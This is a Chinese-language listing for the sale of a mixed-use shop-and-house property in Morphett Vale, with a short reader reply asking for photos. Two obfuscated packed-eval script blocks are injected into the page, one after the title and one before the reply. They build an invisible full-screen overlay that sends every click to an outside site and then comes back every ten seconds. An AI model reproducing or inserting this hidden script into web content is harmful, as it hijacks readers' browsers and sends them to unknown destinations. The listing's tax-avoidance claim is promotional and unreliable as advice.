【Jack生意】7.8% 稳定租金回报率-商用民宅混合使用型商铺物业转让

<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>店铺位于Morphett vale 区繁忙交通主干线，已有40年历史

​* 前后厨房空间大

* 配置大Cool Room及大库房

* 地理位置佳，途径车流量高

* 周围有各类其他商铺及展厅

* 面对LOCAL 学校

* 店前自带10个停车位

* 房租包括店铺及独立进出三房HOUS

* 商铺租金 $2.6 万一年 (租约到6th Feb 2023)+GST & Outgoing + 3 Years option* 住宅部分租金 $1.7万一年 （租约到 Aug 2021)

* 整体物业售价 55 万 +* 租金回报率 7.8%


- 市场上极少有高回报，带稳定租约的前店后住型的商铺
- 海外人士可以购买，无印花税，实现避税最大化。
店铺面积 82平米
住房面积132平米
整个物业面积 744 平米
适合经营：亚洲餐，Yiros,鱼薯店、烤鸡店，连锁店中央厨房，等外卖及堂吃生意



有兴趣请联系 JACK 0433 245 523
微信号 businessbroker

<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>可有图片资料？加微信可否